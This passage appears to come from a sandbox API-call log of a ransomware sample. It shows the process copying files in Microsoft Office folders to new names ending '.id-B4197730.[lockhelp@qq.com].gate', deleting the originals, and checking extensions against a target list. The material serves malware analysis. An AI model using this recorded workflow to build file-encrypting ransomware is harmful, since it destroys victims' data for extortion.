lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0277.141] GetLastError () returned 0x0 [0277.141] ReadFile (in: hFile=0x388, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x2667, lpOverlapped=0x0) returned 1 [0277.287] WriteFile (in: hFile=0x438, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x2670, lpOverlapped=0x0) returned 1 [0277.469] ReadFile (in: hFile=0x388, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.470] WriteFile (in: hFile=0x438, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x106, lpOverlapped=0x0) returned 1 [0277.470] SetEndOfFile (hFile=0x438) returned 1 [0277.512] CloseHandle (hObject=0x438) returned 1 [0277.513] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.513] SetEndOfFile (hFile=0x388) returned 1 [0277.561] CloseHandle (hObject=0x388) returned 1 [0277.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0277.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0277.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.989] lstrlenW (lpString=".doc") returned 4 [0277.989] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.989] lstrlenW (lpString=".docx") returned 5 [0277.989] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0277.989] lstrlenW (lpString=".pdf") returned 4 [0277.990] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.990] lstrlenW (lpString=".xls") returned 4 [0277.990] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.990] lstrlenW (lpString=".xlsx") returned 5 [0277.990] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0277.990] lstrlenW (lpString=".ppt") returned 4 [0277.990] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.990] lstrlenW (lpString=".zip") returned 4 [0277.990] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.990] lstrlenW (lpString=".rar") returned 4 [0277.990] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.990] lstrlenW (lpString=".bz2") returned 4 [0277.990] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.990] lstrlenW (lpString=".7z") returned 3 [0277.990] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.990] lstrlenW (lpString=".dbf") returned 4 [0277.990] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.990] lstrlenW (lpString=".1cd") returned 4 [0277.990] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.990] lstrlenW (lpString=".jpg") returned 4 [0277.990] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.990] lstrlenW (lpString=".doc") returned 4 [0277.990] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.990] lstrlenW (lpString=".docx") returned 5 [0277.990] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0277.990] lstrlenW (lpString=".pdf") returned 4 [0277.990] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.990] lstrlenW (lpString=".xls") returned 4 [0277.990] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.991] lstrlenW (lpString=".xlsx") returned 5 [0277.991] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0277.991] lstrlenW (lpString=".ppt") returned 4 [0277.991] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.991] lstrlenW (lpString=".zip") returned 4 [0277.991] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.991] lstrlenW (lpString=".rar") returned 4 [0277.991] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.991] lstrlenW (lpString=".bz2") returned 4 [0277.991] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.991] lstrlenW (lpString=".7z") returned 3 [0277.991] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.991] lstrlenW (lpString=".dbf") returned 4 [0277.991] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.991] lstrlenW (lpString=".1cd") returned 4 [0277.991] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0277.991] lstrlenW (lpString=".jpg") returned 4 [0277.991] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.991] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0277.991] lstrlenW (lpString="AG00021_.GIF") returned 12 [0277.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0278.182] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=14873) returned 1 [0278.182] CloseHandle (hObject=0x420) returned 1 [0278.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0278.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0278.183] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.183] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0278.184] GetLastError () returned 0x0 [0278.184] ReadFile (in: hFile=0x420, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x3a19, lpOverlapped=0x0) returned 1 [0278.304] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0278.308] ReadFile (in: hFile=0x420, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.308] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.308] SetEndOfFile (hFile=0x404) returned 1 [0278.318] CloseHandle (hObject=0x404) returned 1 [0278.321] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.321] SetEndOfFile (hFile=0x420) returned 1 [0278.324] CloseHandle (hObject=0x420) returned 1 [0278.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0278.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.325] lstrlenW (lpString=".doc") returned 4 [0278.325] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.325] lstrlenW (lpString=".docx") returned 5 [0278.325] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.325] lstrlenW (lpString=".pdf") returned 4 [0278.325] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.325] lstrlenW (lpString=".xls") returned 4 [0278.325] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.325] lstrlenW (lpString=".xlsx") returned 5 [0278.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.325] lstrlenW (lpString=".ppt") returned 4 [0278.325] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.325] lstrlenW (lpString=".zip") returned 4 [0278.325] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.326] lstrlenW (lpString=".rar") returned 4 [0278.326] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.326] lstrlenW (lpString=".bz2") returned 4 [0278.326] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.326] lstrlenW (lpString=".7z") returned 3 [0278.326] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.326] lstrlenW (lpString=".dbf") returned 4 [0278.326] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.326] lstrlenW (lpString=".1cd") returned 4 [0278.326] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.326] lstrlenW (lpString=".jpg") returned 4 [0278.326] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.326] lstrlenW (lpString=".doc") returned 4 [0278.326] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.326] lstrlenW (lpString=".docx") returned 5 [0278.326] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.326] lstrlenW (lpString=".pdf") returned 4 [0278.326] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.326] lstrlenW (lpString=".xls") returned 4 [0278.326] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.326] lstrlenW (lpString=".xlsx") returned 5 [0278.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.326] lstrlenW (lpString=".ppt") returned 4 [0278.327] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.327] lstrlenW (lpString=".zip") returned 4 [0278.327] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.327] lstrlenW (lpString=".rar") returned 4 [0278.327] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.327] lstrlenW (lpString=".bz2") returned 4 [0278.327] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.327] lstrlenW (lpString=".7z") returned 3 [0278.327] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.327] lstrlenW (lpString=".dbf") returned 4 [0278.327] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.327] lstrlenW (lpString=".1cd") returned 4 [0278.327] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0278.327] lstrlenW (lpString=".jpg") returned 4 [0278.327] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.327] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.327] lstrlenW (lpString="AG00092_.GIF") returned 12 [0278.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0278.328] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=502) returned 1 [0278.328] CloseHandle (hObject=0x420) returned 1 [0278.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0278.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0278.329] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.329] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0278.330] GetLastError () returned 0x0 [0278.330] ReadFile (in: hFile=0x420, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1f6, lpOverlapped=0x0) returned 1 [0278.331] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x200, lpOverlapped=0x0) returned 1 [0278.332] ReadFile (in: hFile=0x420, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.332] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.332] SetEndOfFile (hFile=0x404) returned 1 [0278.332] CloseHandle (hObject=0x404) returned 1 [0278.333] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.333] SetEndOfFile (hFile=0x420) returned 1 [0278.335] CloseHandle (hObject=0x420) returned 1 [0278.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0278.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.336] lstrlenW (lpString=".doc") returned 4 [0278.336] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.336] lstrlenW (lpString=".docx") returned 5 [0278.336] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.336] lstrlenW (lpString=".pdf") returned 4 [0278.336] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.336] lstrlenW (lpString=".xls") returned 4 [0278.336] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.336] lstrlenW (lpString=".xlsx") returned 5 [0278.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.336] lstrlenW (lpString=".ppt") returned 4 [0278.336] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.336] lstrlenW (lpString=".zip") returned 4 [0278.336] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.336] lstrlenW (lpString=".rar") returned 4 [0278.336] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.337] lstrlenW (lpString=".bz2") returned 4 [0278.337] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.337] lstrlenW (lpString=".7z") returned 3 [0278.337] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.337] lstrlenW (lpString=".dbf") returned 4 [0278.337] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.337] lstrlenW (lpString=".1cd") returned 4 [0278.337] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.337] lstrlenW (lpString=".jpg") returned 4 [0278.337] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.337] lstrlenW (lpString=".doc") returned 4 [0278.337] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.337] lstrlenW (lpString=".docx") returned 5 [0278.337] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.337] lstrlenW (lpString=".pdf") returned 4 [0278.337] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.337] lstrlenW (lpString=".xls") returned 4 [0278.337] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.337] lstrlenW (lpString=".xlsx") returned 5 [0278.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.337] lstrlenW (lpString=".ppt") returned 4 [0278.337] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.337] lstrlenW (lpString=".zip") returned 4 [0278.337] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.337] lstrlenW (lpString=".rar") returned 4 [0278.337] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.337] lstrlenW (lpString=".bz2") returned 4 [0278.338] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.338] lstrlenW (lpString=".7z") returned 3 [0278.338] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.338] lstrlenW (lpString=".dbf") returned 4 [0278.338] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.338] lstrlenW (lpString=".1cd") returned 4 [0278.338] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0278.338] lstrlenW (lpString=".jpg") returned 4 [0278.338] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.338] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.338] lstrlenW (lpString="AG00103_.GIF") returned 12 [0278.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0278.338] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=12702) returned 1 [0278.338] CloseHandle (hObject=0x420) returned 1 [0278.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0278.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0278.339] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.339] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0278.339] GetLastError () returned 0x0 [0278.339] ReadFile (in: hFile=0x420, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, 